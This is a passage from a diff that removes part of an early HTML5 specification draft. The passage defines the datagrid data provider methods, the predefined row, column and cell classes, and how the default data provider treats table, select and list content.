-    either a floating point number in the range 0.0 to 1.0 (converted to a
-    string representation<!-- XXX this isn't
-   technically enough to define what the author must be doing here,
-   but let's let that slide until someone notices -->),
-    indicating the fraction of the progress bar to show as full (1.0 meaning
-    complete), or the empty string, indicating an indeterminate progress bar.
-    If the value that this method would return changes, the <code><a
-    href="#datagrid1">datagrid</a></code>'s update methods must be called to
-    update the rows that changed. If only one cell changed, the <code
-    title=dom-datagrid-updateCellChanged><a
-    href="#updatecellchanged">updateCellChanged()</a></code> method may be
-    used.
-
-   <dt><dfn id=getcellclasses
-    title=dom-provider-getCellClasses><code>getCellClasses(<var
-    title="">row</var>, <var title="">column</var>, <var
-    title="">classes</var>)</code></dfn>
-
-   <dd>Must add the classes that apply to the cell on row <var
-    title="">row</var> in column <var title="">column</var> to the <var
-    title="">classes</var> object. May be omitted if the cells have no
-    special classes. If the classes that this method would add changes, the
-    <code><a href="#datagrid1">datagrid</a></code>'s update methods must be
-    called to update the rows or cells in question. Some classes have <a
-    href="#datagridClassSummary">predefined meanings</a>.
-
-   <dt><dfn id=togglecolumnsortstate
-    title=dom-provider-toggleColumnSortState><code>toggleColumnSortState(<var
-    title="">column</var>)</code></dfn>
-
-   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> when the
-    user tries to sort the data using a particular column <var
-    title="">column</var>. The data provider must update its state so that
-    the <code title=dom-provider-getChildAtPosition><a
-    href="#getchildatposition">GetChildAtPosition()</a></code> method returns
-    the new order, and the classes of the columns returned by <code
-    title=dom-provider-getCaptionClasses><a
-    href="#getcaptionclasses">getCaptionClasses()</a></code> represent the
-    new sort status. There is no need to tell the <code><a
-    href="#datagrid1">datagrid</a></code> that it the data has changed, as
-    the <code><a href="#datagrid1">datagrid</a></code> automatically assumes
-    that the entire data model will need updating.
-
-   <dt><dfn id=setcellcheckedstate
-    title=dom-provider-setCellCheckedState><code>setCellCheckedState(<var
-    title="">row</var>, <var title="">column</var>, <var
-    title="">state</var>)</code></dfn>
-
-   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> when the
-    user changes the state of a checkbox cell on row <var title="">row</var>,
-    column <var title="">column</var>. The checkbox should be toggled to the
-    state given by <var title="">state</var>, which is a positive integer (1)
-    if the checkbox is to be checked, zero (0) if it is to be unchecked, and
-    a negative number (-1) if it is to be set to the indeterminate state.
-    There is no need to tell the <code><a
-    href="#datagrid1">datagrid</a></code> that the cell has changed, as the
-    <code><a href="#datagrid1">datagrid</a></code> automatically assumes that
-    the given cell will need updating.
-
-   <dt><dfn id=cyclecell title=dom-provider-cycleCell><code>cycleCell(<var
-    title="">row</var>, <var title="">column</var>)</code></dfn>
-
-   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> when the
-    user changes the state of a cyclable cell on row <var title="">row</var>,
-    column <var title="">column</var>. The data provider should change the
-    state of the cell to the new state, as appropriate. There is no need to
-    tell the <code><a href="#datagrid1">datagrid</a></code> that the cell has
-    changed, as the <code><a href="#datagrid1">datagrid</a></code>
-    automatically assumes that the given cell will need updating.
-
-   <dt><dfn id=editcell title=dom-provider-editCell><code>editCell(<var
-    title="">row</var>, <var title="">column</var>, <var
-    title="">data</var>)</code></dfn>
-
-   <dd>Called by the <code><a href="#datagrid1">datagrid</a></code> when the
-    user edits the cell on row <var title="">row</var>, column <var
-    title="">column</var>. The new value of the cell is given by <var
-    title="">data</var>. The data provider should update the cell
-    accordingly. There is no need to tell the <code><a
-    href="#datagrid1">datagrid</a></code> that the cell has changed, as the
-    <code><a href="#datagrid1">datagrid</a></code> automatically assumes that
-    the given cell will need updating.</dd>
-   <!--XXXPA
-  void performAction(in DOMString action); // required if .performAction() is ever invoked on the datagrid
-  void performActionOnRow(in <span>RowSpecification</span> row, in DOMString action); // required if getRowClasses ever includes 'deletable' or if .performActionOnRow() is ever invoked on the datagrid
-  void performActionOnCell(in <span>RowSpecification</span> row, in unsigned long column, in DOMString action); // required if .performActionOnCell() is ever invoked on the datagrid
--->
-  </dl>
-
-  <p>The following classes (for rows, columns, and cells) may be usefully
-   used in conjunction with this interface:
-
-  <table id=datagridClassSummary>
-   <tbody>
-    <tr>
-     <th>Class name
-
-     <th>Applies to
-
-     <th>Description
-
-    <tr>
-     <td><!--checked--><dfn id=checked
-      title=datagrid-cell-class-checked><code>checked</code></dfn>
-
-     <td>Cells
-
-     <td>The cell has a checkbox and it is checked. (The <code
-      title=datagrid-cell-class-cyclable><a
-      href="#cyclable">cyclable</a></code> and <code
-      title=datagrid-cell-class-progress><a
-      href="#progress1">progress</a></code> classes override this, though.)
-
-    <tr>
-     <td><!--cyclable--><dfn id=cyclable
-      title=datagrid-cell-class-cyclable><code>cyclable</code></dfn>
-
-     <td>Cells
-
-     <td>The cell can be cycled through multiple values. (The <code
-      title=datagrid-cell-class-progress><a
-      href="#progress1">progress</a></code> class overrides this, though.)
-
-    <tr>
-     <td><!--editable--><dfn id=editable
-      title=datagrid-cell-class-editable><code>editable</code></dfn>
-
-     <td>Cells
-
-     <td>The cell can be edited. (The <code
-      title=datagrid-cell-class-cyclable><a
-      href="#cyclable">cyclable</a></code>, <code
-      title=datagrid-cell-class-progress><a
-      href="#progress1">progress</a></code>, <code
-      title=datagrid-cell-class-checked><a
-      href="#checked">checked</a></code>, <code
-      title=datagrid-cell-class-checked><a
-      href="#checked">unchecked</a></code> and <code
-      title=datagrid-cell-class-checked><a
-      href="#checked">indeterminate</a></code> classes override this,
-      though.)
-
-    <tr>
-     <td><!--header--><dfn id=header1
-      title=datagrid-row-class-header><code>header</code></dfn>
-
-     <td>Rows
-
-     <td>The row is a heading, not a data row.
-
-    <tr>
-     <td><!--indeterminate--><dfn id=indeterminate
-      title=datagrid-cell-class-indeterminate><code>indeterminate</code></dfn>
-
-     <td>Cells
-
-     <td>The cell has a checkbox, and it can be set to an indeterminate
-      state. If neither the <code title=datagrid-cell-class-checked><a
-      href="#checked">checked</a></code> nor <code
-      title=datagrid-cell-class-checked><a
-      href="#checked">unchecked</a></code> classes are present, then the
-      checkbox is in that state, too. (The <code
-      title=datagrid-cell-class-cyclable><a
-      href="#cyclable">cyclable</a></code> and <code
-      title=datagrid-cell-class-progress><a
-      href="#progress1">progress</a></code> classes override this, though.)
-
-    <tr>
-     <td><!--initially-hidden--><dfn id=initially-hidden
-      title=datagrid-column-class-initially-hidden><code>initially-hidden</code></dfn>
-
-     <td>Columns
-
-     <td>The column will not be shown when the <code><a
-      href="#datagrid1">datagrid</a></code> is initially rendered. If this
-      class is not present on the column when the <code><a
-      href="#datagrid1">datagrid</a></code> is initially rendered, the column
-      will be visible if space allows.
-
-    <tr>
-     <td><!--initially-closed--><dfn id=initially-closed
-      title=datagrid-row-class-initially-closed><code>initially-closed</code></dfn>
-
-     <td>Rows
-
-     <td>The row will be closed when the <code><a
-      href="#datagrid1">datagrid</a></code> is initially rendered. If neither
-      this class nor the <code title=datagrid-row-class-initially-open><a
-      href="#initially-open">initially-open</a></code> class is present on
-      the row when the <code><a href="#datagrid1">datagrid</a></code> is
-      initially rendered, the initial state will depend on platform
-      conventions.
-
-    <tr>
-     <td><!--initially-open--><dfn id=initially-open
-      title=datagrid-row-class-initially-open><code>initially-open</code></dfn>
-
-     <td>Rows
-
-     <td>The row will be opened when the <code><a
-      href="#datagrid1">datagrid</a></code> is initially rendered. If neither
-      this class nor the <code title=datagrid-row-class-initially-closed><a
-      href="#initially-closed">initially-closed</a></code> class is present
-      on the row when the <code><a href="#datagrid1">datagrid</a></code> is
-      initially rendered, the initial state will depend on platform
-      conventions.
-
-    <tr>
-     <td><!--progress--><dfn id=progress1
-      title=datagrid-cell-class-progress><code>progress</code></dfn>
-
-     <td>Cells
-
-     <td>The cell is a progress bar.
-
-    <tr>
-     <td><!--reversed--><dfn id=reversed
-      title=datagrid-column-class-reversed><code>reversed</code></dfn>
-
-     <td>Columns
-
-     <td>If the cell is sorted, the sort direction is descending, instead of
-      ascending.
-
-    <tr>
-     <td><!--selectable-separator--><dfn id=selectable-separator
-      title=datagrid-row-class-selectable-separator><code>selectable-separator</code></dfn>
-
-     <td>Rows
-
-     <td>The row is a normal, selectable, data row, except that instead of
-      having data, it only has a separator. (The <code
-      title=datagrid-row-class-header><a href="#header1">header</a></code>
-      and <code title=datagrid-row-class-separator><a
-      href="#separator">separator</a></code> classes override this, though.)
-
-    <tr>
-     <td><!--separator--><dfn id=separator
-      title=datagrid-row-class-separator><code>separator</code></dfn>
-
-     <td>Rows
-
-     <td>The row is a separator row, not a data row. (The <code
-      title=datagrid-row-class-header><a href="#header1">header</a></code>
-      class overrides this, though.)
-
-    <tr>
-     <td><!--sortable--><dfn id=sortable
-      title=datagrid-column-class-sortable><code>sortable</code></dfn>
-
-     <td>Columns
-
-     <td>The data can be sorted by this column.
-
-    <tr>
-     <td><!--sorted--><dfn id=sorted
-      title=datagrid-column-class-sorted><code>sorted</code></dfn>
-
-     <td>Columns
-
-     <td>The data is sorted by this column. Unless the <code
-      title=datagrid-column-class-reversed><a
-      href="#reversed">reversed</a></code> class is also present, the sort
-      direction is ascending.
-
-    <tr>
-     <td><!--unchecked--><dfn id=unchecked
-      title=datagrid-cell-class-unchecked><code>unchecked</code></dfn>
-
-     <td>Cells
-
-     <td>The cell has a checkbox and, unless the <code
-      title=datagrid-cell-class-checked><a href="#checked">checked</a></code>
-      class is present as well, it is unchecked. (The <code
-      title=datagrid-cell-class-cyclable><a
-      href="#cyclable">cyclable</a></code> and <code
-      title=datagrid-cell-class-progress><a
-      href="#progress1">progress</a></code> classes override this, though.)
-    </tr>
-    <!--XXXPA
-   <tr>
-    <td><!- -deletable- -><dfn title="datagrid-row-class-deletable"><code>deletable</code></dfn></td>
-    <td>Rows</td>
-    <td></td>
-   </tr>
--->
-  </table>
-
-  <h5 id=the-default><span class=secno>3.18.2.4. </span>The default data
-   provider</h5>
-
-  <p>The user agent must supply a default data provider for the case where
-   the <code><a href="#datagrid1">datagrid</a></code>'s <code
-   title=dom-datagrid-data><a href="#data2">data</a></code> attribute is
-   null. It must act as described in this section.
-
-  <p>The behaviour of the default data provider depends on the nature of the
-   first element child of the <code><a href="#datagrid1">datagrid</a></code>.
-
-  <dl class=switch>
-   <dt>While the first element child is a <code><a
-    href="#table0">table</a></code>
-
-   <dd>
-    <p><strong><code title=dom-provider-getRowCount><a
-     href="#getrowcount">getRowCount(<var
-     title="">row</var>)</a></code></strong>: The number of rows returned by
-     the default data provider for the root of the tree (when <var
-     title="">row</var> is empty) must be the total number of <code><a
-     href="#tr0">tr</a></code> elements that are children of <code><a
-     href="#tbody0">tbody</a></code> elements that are children of the
-     <code><a href="#table0">table</a></code>, if there are any such child
-     <code><a href="#tbody0">tbody</a></code> elements. If there are no such
-     <code><a href="#tbody0">tbody</a></code> elements then the number of
-     rows returned for the root must be the number of <code><a
-     href="#tr0">tr</a></code> elements that are children of the <code><a
-     href="#table0">table</a></code>.</p>
-
-    <p>When <var title="">row</var> is not empty, the number of rows returned
-     must be zero.</p>
-
-    <p class=note>The <code><a href="#table0">table</a></code>-based default
-     data provider cannot represent a tree.</p>
-
-    <p class=note>Rows in <code><a href="#thead1">thead</a></code> elements
-     do not contribute to the number of rows returned, although they do
-     affect the columns and column captions. Rows in <code><a
-     href="#tfoot1">tfoot</a></code> elements are <a href="#ignored"
-     title=ignore>ignored</a> completely by this algorithm.</p>
-
-    <p id=defaultDataProviderTableMapper><strong><code
-     title=dom-provider-getChildAtPosition><a
-     href="#getchildatposition">getChildAtPosition(<var title="">row</var>,
-     <var title="">i</var>)</a></code></strong>: The default data provider
-     must return the mapping appropriate to the <a
-     href="#defaultDataProviderTableSort">current sort order</a>.</p>
-
-    <p><strong><code title=dom-provider-getColumnCount><a
-     href="#getcolumncount">getColumnCount()</a></code></strong>: The number
-     of columns returned must be the number of <code><a
-     href="#td0">td</a></code> element children in the first <code><a
-     href="#tr0">tr</a></code> element child of the first <code><a
-     href="#tbody0">tbody</a></code> element child of the <code><a
-     href="#table0">table</a></code>, if there are any such <code><a
-     href="#tbody0">tbody</a></code> elements. If there are no such <code><a
-     href="#tbody0">tbody</a></code> elements, then it must be the number of
-     <code><a href="#td0">td</a></code> element children in the first
-     <code><a href="#tr0">tr</a></code> element child of the <code><a
-     href="#table0">table</a></code>, if any, or otherwise 1. If the number
-     that would be returned by these rules is 0, then 1 must be returned
-     instead.</p>
-
-    <p><strong><code title=dom-provider-getCaptionText><a
-     href="#getcaptiontext">getCaptionText(<var
-     title="">i</var>)</a></code></strong>: If the <code><a
-     href="#table0">table</a></code> has no <code><a
-     href="#thead1">thead</a></code> element child, or if its first <code><a
-     href="#thead1">thead</a></code> element child has no <code><a
-     href="#tr0">tr</a></code> element child, the default data provider must
-     return the empty string for all captions. Otherwise, the value of the
-     <code><a href="#textcontent">textContent</a></code> attribute of the
-     <var title="">i</var>th <code><a href="#th0">th</a></code> element child
-     of the first <code><a href="#tr0">tr</a></code> element child of the
-     first <code><a href="#thead1">thead</a></code> element child of the
-     <code><a href="#table0">table</a></code> element must be returned. If
-     there is no such <code><a href="#th0">th</a></code> element, the empty
-     string must be returned.</p>
-
-    <p><strong><code title=dom-provider-getCaptionClasses><a
-     href="#getcaptionclasses">getCaptionClasses(<var title="">i</var>, <var
-     title="">classes</var>)</a></code></strong>: If the <code><a
-     href="#table0">table</a></code> has no <code><a
-     href="#thead1">thead</a></code> element child, or if its first <code><a
-     href="#thead1">thead</a></code> element child has no <code><a
-     href="#tr0">tr</a></code> element child, the default data provider must
-     not add any classes for any of the captions. Otherwise, each class in
-     the <code title=attr-class><a href="#class6">class</a></code> attribute
-     of the <var title="">i</var>th <code><a href="#th0">th</a></code>
-     element child of the first <code><a href="#tr0">tr</a></code> element
-     child of the first <code><a href="#thead1">thead</a></code> element
-     child of the <code><a href="#table0">table</a></code> element must be
-     added to the <var title="">classes</var>. If there is no such <code><a
-     href="#th0">th</a></code> element, no classes must be added. The user
-     agent must then:</p>
-
-    <ol>
-     <li>Remove the <code title=datagrid-column-class-sorted><a
-      href="#sorted">sorted</a></code> and <code
-      title=datagrid-column-class-reversed><a
-      href="#reversed">reversed</a></code> classes.
-
-     <li>If the <code><a href="#table0">table</a></code> element has a <code
-      title=attr-class><a href="#class6">class</a></code> attribute that
-      includes the <code title="">sortable</code> class, add the <code
-      title=datagrid-column-class-sortable><a
-      href="#sortable">sortable</a></code> class.
-
-     <li>If the column is the one currently being used to sort the data, add
-      the <code title=datagrid-column-class-sorted><a
-      href="#sorted">sorted</a></code> class.
-
-     <li>If the column is the one currently being used to sort the data, and
-      it is sorted in descending order, add the <code
-      title=datagrid-column-class-reversed><a
-      href="#reversed">reversed</a></code> class as well.
-    </ol>
-
-    <p>The various row- and cell- related methods operate relative to a
-     particular element, the element of the row or cell specified by their
-     arguments.</p>
-
-    <p><strong>For rows</strong>: Since the default data provider for a
-     <code><a href="#table0">table</a></code> always returns 0 as the number
-     of children for any row other than the root, the path to the row passed
-     to these methods will always consist of a single number. In the prose
-     below, this number is referred to as <var title="">i</var>.</p>
-
-    <p>If the <code><a href="#table0">table</a></code> has <code><a
-     href="#tbody0">tbody</a></code> element children, the element for the
-     <var title="">i</var>th row is the <var title="">i</var>th <code><a
-     href="#tr0">tr</a></code> element that is a child of a <code><a
-     href="#tbody0">tbody</a></code> element that is a child of the <code><a
-     href="#table0">table</a></code> element. If the <code><a
-     href="#table0">table</a></code> does not have <code><a
-     href="#tbody0">tbody</a></code> element children, then the element for
-     the <var title="">i</var>th real row is the <var title="">i</var>th
-     <code><a href="#tr0">tr</a></code> element that is a child of the
-     <code><a href="#table0">table</a></code> element.</p>
-
-    <p><strong>For cells</strong>: Given a row and its element, the row's
-     <var title="">i</var>th cell's element is the <var title="">i</var>th
-     <code><a href="#td0">td</a></code> element child of the row element.</p>
-
-    <p class=note>The <code>colspan</code> and <code>rowspan</code>
-     attributes are <a href="#ignored" title=ignore>ignored</a> by this
-     algorithm.</p>
-
-    <p><strong><code title=dom-provider-getRowImage><a
-     href="#getrowimage">getRowImage(<var
-     title="">i</var>)</a></code></strong>: If the row's first cell's element
-     has an <code><a href="#img0">img</a></code> element child, then the URI
-     of the row's image is the URI of the first <code><a
-     href="#img0">img</a></code> element child of the row's first cell's
-     element. Otherwise, the URI of the row's image is the empty string.</p>
-    <!-- XXX well. that sentence could
-    have gone better, that's for sure. -->
-    
-    <p><strong><code title=dom-provider-getRowMenu><a
-     href="#getrowmenu">getRowMenu(<var
-     title="">i</var>)</a></code></strong>: If the row's first cell's element
-     has a <code><a href="#menu0">menu</a></code> element child, then the
-     row's menu is the first <code><a href="#menu0">menu</a></code> element
-     child of the row's first cell's element. Otherwise, the row has no menu.</p>
-
-    <p><strong><code title=dom-provider-getRowClasses><a
-     href="#getrowclasses">getRowClasses(<var title="">i</var>, <var
-     title="">classes</var>)</a></code></strong>: The default data provider
-     must never add a class to the row's classes.</p>
-
-    <p id=defaultDataProviderTableSort><strong><code
-     title=dom-provider-toggleColumnSortState><a
-     href="#togglecolumnsortstate">toggleColumnSortState(<var
-     title="">i</var>)</a></code></strong>: If the data is already being
-     sorted on the given column, then the user agent must change the current
-     sort mapping to be the inverse of the current sort mapping; if the sort
-     order was ascending before, it is now descending, otherwise it is now
-     ascending. Otherwise, if the current sort column is another column, or
-     the data model is currently not sorted, the user agent must create a new
-     mapping, which maps rows in the data model to rows in the DOM so that
-     the rows in the data model are sorted by the specified column, in
-     ascending order. (Which sort comparison operator to use is left up to
-     the UA to decide.)</p>
-
-    <p>When the sort mapping is changed, the values returned by the <code
-     title=dom-provider-getChildAtPosition><a
-     href="#getchildatposition">getChildAtPosition()</a></code> method for
-     the default data provider <a href="#defaultDataProviderTableMapper">will
-     change appropriately</a>.</p>
-
-    <p><strong><code title=dom-provider-getCellData><a
-     href="#getcelldata">getCellData(<var title="">i</var>, <var
-     title="">j</var>)</a></code>, <code title=dom-provider-getCellClasses><a
-     href="#getcellclasses">getCellClasses(<var title="">i</var>, <var
-     title="">j</var>, <var title="">classes</var>)</a></code>, <code
-     title=dom-provider-setCellCheckedState><a
-     href="#setcellcheckedstate">getCellCheckedState(<var title="">i</var>,
-     <var title="">j</var>, <var title="">state</var>)</a></code>, <code
-     title=dom-provider-cycleCell><a href="#cyclecell">cycleCell(<var
-     title="">i</var>, <var title="">j</var>)</a></code>, and <code
-     title=dom-provider-editCell><a href="#editcell">editCell(<var
-     title="">i</var>, <var title="">j</var>, <var
-     title="">data</var>)</a></code></strong>: See <a
-     href="#commonDefaultDataGridMethodDefinitions">the common definitions
-     below</a>.</p>
-
-    <p>The data provider must call the <code><a
-     href="#datagrid1">datagrid</a></code>'s update methods appropriately
-     whenever the descendants of the <code><a
-     href="#datagrid1">datagrid</a></code> mutate. For example, if a <code><a
-     href="#tr0">tr</a></code> is removed, then the <code
-     title=dom-datagrid-updateRowsRemoved><a
-     href="#updaterowsremoved">updateRowsRemoved()</a></code> methods would
-     probably need to be invoked, and any change to a cell or its descendants
-     must cause the cell to be updated. If the <code><a
-     href="#table0">table</a></code> element stops being the first child of
-     the <code><a href="#datagrid1">datagrid</a></code>, then the data
-     provider must call the <code title=dom-datagrid-updateEverything><a
-     href="#updateeverything">updateEverything()</a></code> method on the
-     <code><a href="#datagrid1">datagrid</a></code>. Any change to a cell
-     that is in the column that the data provider is currently using as its
-     sort column must also cause the sort to be reperformed, with a call to
-     <code title=dom-datagrid-updateEverything><a
-     href="#updateeverything">updateEverything()</a></code> if the change did
-     affect the sort order.</p>
-
-   <dt>While the first element child is a <code>select</code>
-
-   <dd>
-    <p>The default data provider must return 1 for the column count, the
-     empty string for the column's caption, and must not add any classes to
-     the column's classes.</p>
-
-    <p>For the rows, assume the existence of a node filter view of the
-     descendants of the first <code>select</code> element child of the
-     <code><a href="#datagrid1">datagrid</a></code> element, that skips all
-     nodes other than <code>optgroup</code> and <code>option</code> elements,
-     as well as any descendents of any <code>option</code> elements.</p>
-
-    <p>Given a path <var title="">row</var>, the corresponding element is the
-     one obtained by drilling into the view, taking the child given by the
-     path each time.</p>
-
-    <div class=example>
-     <p>Given the following XML markup:</p>
-
-     <pre>AMPERSANDlt;datagrid>
- AMPERSANDlt;select>
-  AMPERSANDlt;!-- the options and optgroups have had their labels and values removed
-       to make the underlying structure clearer -->
-  AMPERSANDlt;optgroup>
-   AMPERSANDlt;option/>
-   AMPERSANDlt;option/>
-  AMPERSANDlt;/optgroup>
-  AMPERSANDlt;optgroup>
-   AMPERSANDlt;option/>
-   AMPERSANDlt;optgroup id="a">
-    AMPERSANDlt;option/>
-    AMPERSANDlt;option/>
-    AMPERSANDlt;bogus/>
-    AMPERSANDlt;option id="b"/>
-   AMPERSANDlt;/optgroup>
-   AMPERSANDlt;option/>
-  AMPERSANDlt;/optgroup>
- AMPERSANDlt;/select>
-AMPERSANDlt;/datagrid></pre>
-
-     <p>The path "1,1,2" would select the element with ID "b". In the
-      filtered view, the text nodes, comment nodes, and bogus elements are
-      ignored; so for instance, the element with ID "a" (path "1,1") has only
-      3 child nodes in the view.</p>
-    </div>
-
-    <p><code title=dom-provider-getRowCount><a
-     href="#getrowcount">getRowCount(<var title="">row</var>)</a></code> must
-     drill through the view to find the element corresponding to the method's
-     argument, and return the number of child nodes in the filtered view that
-     the corresponding element has. (If the <var title="">row</var> is empty,
-     the corresponding element is the <code>select</code> element at the root
-     of the filtered view.)</p>
-
-    <p><code title=dom-provider-getChildAtPosition><a
-     href="#getchildatposition">getChildAtPosition(<var title="">row</var>,
-     <var title="">position</var>)</a></code> must return <var
-     title="">position</var>. (The <code>select</code> default data provider
-     does not support sorting the data grid.)</p>
-
-    <p><code title=dom-provider-getRowImage><a
-     href="#getrowimage">getRowImage(<var title="">i</var>)</a></code> must
-     return the empty string, <code title=dom-provider-getRowMenu><a
-     href="#getrowmenu">getRowMenu(<var title="">i</var>)</a></code> must
-     return null.</p>
-
-    <p><code title=dom-provider-getRowClasses><a
-     href="#getrowclasses">getRowClasses(<var title="">row</var>, <var
-     title="">classes</var>)</a></code> must add the classes from the
-     following list to <var title="">classes</var> when their condition is
-     met:</p>
-
-    <ul>
-     <li>If the <var title="">row</var>'s corresponding element is an
-      <code>optgroup</code> element: <code title=datagrid-row-class-header><a
-      href="#header1">header</a></code>
-
-     <li>If the <var title="">row</var>'s corresponding element contains
-      other elements that are also in the view, and the element's <code
-      title=attr-class><a href="#class6">class</a></code> attribute contains
-      the <code title="">closed</code> class: <code
-      title=datagrid-row-class-initially-closed><a
-      href="#initially-closed">initially-closed</a></code>
-
-     <li>If the <var title="">row</var>'s corresponding element contains
-      other elements that are also in the view, and the element's <code
-      title=attr-class><a href="#class6">class</a></code> attribute contains
-      the <code title="">open</code> class: <code
-      title=datagrid-row-class-initially-open><a
-      href="#initially-open">initially-open</a></code>
-    </ul>
-
-    <p>The <code title=dom-provider-getCellData><a
-     href="#getcelldata">getCellData(<var title="">row</var>, <var
-     title="">cell</var>)</a></code> method must return the value of the
-     <code title=attr-optgroup-label>label</code> attribute if the <var
-     title="">row</var>'s corresponding element is an <code>optgroup</code>
-     element, otherwise, if the <var title="">row</var>'s corresponding
-     element is an <code>option</code>element, its <code
-     title=attr-option-label>label</code> attribute if it has one, otherwise
-     the value of its <code><a href="#textcontent">textContent</a></code> DOM
-     attribute.</p>
-
-    <p>The <code title=dom-provider-getCellClasses><a
-     href="#getcellclasses">getCellClasses(<var title="">row</var>, <var
-     title="">cell</var>, <var title="">classes</var>)</a></code> method must
-     add no classes.</p>
-
-    <p class=big-issue><!-- select-provider-selection
-    XXX-->autoselect
-     some rows when initialised, reflect the selection in the select, reflect
-     the multiple attribute somehow.</p>
-
-    <p>The data provider must call the <code><a
-     href="#datagrid1">datagrid</a></code>'s update methods appropriately
-     whenever the descendants of the <code><a
-     href="#datagrid1">datagrid</a></code> mutate.</p>
-
-   <dt>While the first element child is another element
-
-   <dd>
-    <p>The default data provider must return 1 for the column count, the
-     empty string for the column's caption, and must not add any classes to
-     the column's classes.</p>
-
-    <p>For the rows, assume the existence of a node filter view of the
-     descendants of the <code><a href="#datagrid1">datagrid</a></code> that
-     skips all nodes other than <code><a href="#li0">li</a></code>, <code><a
-     href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>, and
-     <code><a href="#hr0">hr</a></code> elements, and skips any descendants
-     of <code><a href="#menu0">menu</a></code> elements.</p>
-
-    <p>Given this view, each element in the view represents a row in the data
-     model. The element corresponding to a path <var title="">row</var> is
-     the one obtained by drilling into the view, taking the child given by
-     the path each time. The element of the row of a particular method call
-     is the element given by drilling into the view along the path given by
-     the method's arguments.</p>
-
-    <p><code title=dom-provider-getRowCount><a
-     href="#getrowcount">getRowCount(<var title="">row</var>)</a></code> must
-     return the number of child elements in this view for the given row, or
-     the number of elements at the root of the view if the <var
-     title="">row</var> is empty.</p>
-
-    <div class=example>
-     <p>In the following example, the elements are identified by the paths
-      given by their child text nodes:</p>
-
-     <pre>AMPERSANDlt;datagrid>
- AMPERSANDlt;ol>
-  AMPERSANDlt;li> row 0 AMPERSANDlt;/li>
-  AMPERSANDlt;li> row 1
-   AMPERSANDlt;ol>
-    AMPERSANDlt;li> row 1,0 AMPERSANDlt;/li>
-   AMPERSANDlt;/ol>
-  AMPERSANDlt;/li>
-  AMPERSANDlt;li> row 2 AMPERSANDlt;/li>
- AMPERSANDlt;/ol>
-AMPERSANDlt;/datagrid></pre>
-
-     <p>In this example, only the <code><a href="#li0">li</a></code> elements
-      actually appear in the data grid; the <code><a
-      href="#ol0">ol</a></code> element does not affect the data grid's
-      processing model.</p>
-    </div>
-
-    <p><code title=dom-provider-getChildAtPosition><a
-     href="#getchildatposition">getChildAtPosition(<var title="">row</var>,
-     <var title="">position</var>)</a></code> must return <var
-     title="">position</var>. (The generic default data provider does not
-     support sorting the data grid.)</p>
-
-    <p><code title=dom-provider-getRowImage><a
-     href="#getrowimage">getRowImage(<var title="">i</var>)</a></code> must
-     return the URI of the image given by the first <code><a
-     href="#img0">img</a></code> element descendant (in the real DOM) of the
-     row's element, that is not also a descendant of another element in the
-     filtered view that is a descendant of the row's element.</p>
-
-    <div class=example>
-     <p>In the following example, the row with path "1,0" returns
-      "http://example.com/a" as its image URI, and the other rows (including
-      the row with path "1") return the empty string:</p>
-
-     <pre>AMPERSANDlt;datagrid>
- AMPERSANDlt;ol>
-  AMPERSANDlt;li> row 0 AMPERSANDlt;/li>
-  AMPERSANDlt;li> row 1
-   AMPERSANDlt;ol>
-    AMPERSANDlt;li> row 1,0 AMPERSANDlt;img src="http://example.com/a" alt=""> AMPERSANDlt;/li>
-   AMPERSANDlt;/ol>
-  AMPERSANDlt;/li>
-  AMPERSANDlt;li> row 2 AMPERSANDlt;/li>
- AMPERSANDlt;/ol>
-AMPERSANDlt;/datagrid></pre>
-    </div>
-
-    <p><code title=dom-provider-getRowMenu><a
-     href="#getrowmenu">getRowMenu(<var title="">i</var>)</a></code> must
-     return the first <code><a href="#menu0">menu</a></code> element
-     descendant (in the real DOM) of the row's element, that is not also a
-     descendant of another element in the filtered view that is a decsendant
-     of the row's element. (This is analogous to the image case above.)</p>
-
-    <p><code title=dom-provider-getRowClasses><a
-     href="#getrowclasses">getRowClasses(<var title="">i</var>, <var
-     title="">classes</var>)</a></code> must add the classes from the
-     following list to <var title="">classes</var> when their condition is
-     met:</p>
-
-    <ul>
-     <li>If the row's element contains other elements that are also in the
-      view, and the element's <code title=attr-class><a
-      href="#class6">class</a></code> attribute contains the <code
-      title="">closed</code> class: <code
-      title=datagrid-row-class-initially-closed><a
-      href="#initially-closed">initially-closed</a></code>
-
-     <li>If the row's element contains other elements that are also in the
-      view, and the element's <code title=attr-class><a
-      href="#class6">class</a></code> attribute contains the <code
-      title="">open</code> class: <code
-      title=datagrid-row-class-initially-open><a
-      href="#initially-open">initially-open</a></code>
-
-     <li>If the row's element is an <code><a
-      href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> element:
-      <code title=datagrid-row-class-header><a
-      href="#header1">header</a></code>
-
-     <li>If the row's element is an <code><a href="#hr0">hr</a></code>
-      element: <code title=datagrid-row-class-separator><a
-      href="#separator">separator</a></code></li>
-     <!--
-     XXX no way to get selectable-separator -->
-    </ul>
-
-    <p>The <code title=dom-provider-getCellData><a
-     href="#getcelldata">getCellData(<var title="">i</var>, <var
-     title="">j</var>)</a></code>, <code title=dom-provider-getCellClasses><a
-     href="#getcellclasses">getCellClasses(<var title="">i</var>, <var
-     title="">j</var>, <var title="">classes</var>)</a></code>, <code
-     title=dom-provider-setCellCheckedState><a
-     href="#setcellcheckedstate">getCellCheckedState(<var title="">i</var>,
-     <var title="">j</var>, <var title="">state</var>)</a></code>, <code
-     title=dom-provider-cycleCell><a href="#cyclecell">cycleCell(<var
-     title="">i</var>, <var title="">j</var>)</a></code>, and <code
-     title=dom-provider-editCell><a href="#editcell">editCell(<var
-     title="">i</var>, <var title="">j</var>, <var
-     title="">data</var>)</a></code> methods must act as described in <a
-     href="#commonDefaultDataGridMethodDefinitions">the common definitions
-     below</a>, treating the row's element as being the cell's element.</p>
-
-    <p class=big-issue id=generic-provider-selection>selection handling?</p>
-
-    <p>The data provider must call the <code><a
-     href="#datagrid1">datagrid</a></code>'s update methods appropriately
-     whenever the descendants of the <code><a
-     href="#datagrid1">datagrid</a></code> mutate.</p>
-
-   <dt>Otherwise, while there is no element child
-
-   <dd>
-    <p>The data provider must return 0 for the number of rows, 1 for the
-     number of columns, the empty string for the first column's caption, and
-     must add no classes when asked for that column's classes. If the
-     <code><a href="#datagrid1">datagrid</a></code>'s child list changes such
-     that there is a first element child, then the data provider must call
-     the <code title=dom-datagrid-updateEverything><a
-     href="#updateeverything">updateEverything()</a></code> method on the
